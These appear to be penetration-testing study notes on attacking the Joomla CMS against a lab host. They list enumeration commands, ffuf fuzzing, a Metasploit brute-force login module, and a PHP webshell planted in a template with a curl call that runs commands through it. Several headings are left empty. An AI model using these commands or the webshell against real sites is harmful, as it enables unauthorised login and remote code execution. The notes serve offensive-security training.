Joomla

Joomla is a popular open-source CMS designed to create and manage websites efficiently. It offers a flexible framework that supports a wide range of websites, from simple blogs to complex corporate portals. Joomla is built with PHP and uses a MySQL database to store content, making it widely compatible with common web hosting environments. Its modular architecture allows easy extension through plugins, components, and templates, enabling customization to fit specific needs. Joomla can be easily identified by its favicon:

Joomla's has the following user roles:

User	Description
Super Users/Administrator	Access to administrative features (adding, deleting users and posts, editing source code)
Administrator	Admin functions except global options
Manager	Content creation and backend system info

Enumeration

CMS

curl -s http://dev.inlanefreight.local/ | grep Joomla

Version

droopescan

joomlascan

Attacks

Fuzzing

ffuf

Fuzzing can be used for further directory, plugin, and theme enumeration (joomla.txt):

# Fuzzing for plugins
$ ffuf -u http://dev.inlanefreight.local/FUZZ -w usr/share/wordlists/joomla/joomla.txt -c -ac

MSF

BFA

Joomla 3.2 stable release bought 2FA as part of the core install which adds another challenge to BFAs. However, this isn't enabled by default.

The default administrator account is admin and the password is set at install time:

MSF

MSF's joomla_bruteforce_login module can be used for a BFA:

msf > use auxiliary/scanner/http/joomla_bruteforce_login
msf auxiliary(joomla_bruteforce_login) > show actions
        ...actions...
msf auxiliary(joomla_bruteforce_login) > set ACTION < action-name >
msf auxiliary(joomla_bruteforce_login) > show options
        ...show and set options...
msf auxiliary(joomla_bruteforce_login) > run

joombrute

joomla-brute

Nmap

RCE

We can upload a webshell as by editing a template (e.g. error.php) and adding a PHP webshell:

# Webshell payload
system($_GET['c']);

# Interact with the webshell
curl -s http://dev.inlanefreight.local/templates/protostar/error.php?c=id

Vulnerabilities

There is a live vunlerable extensions list.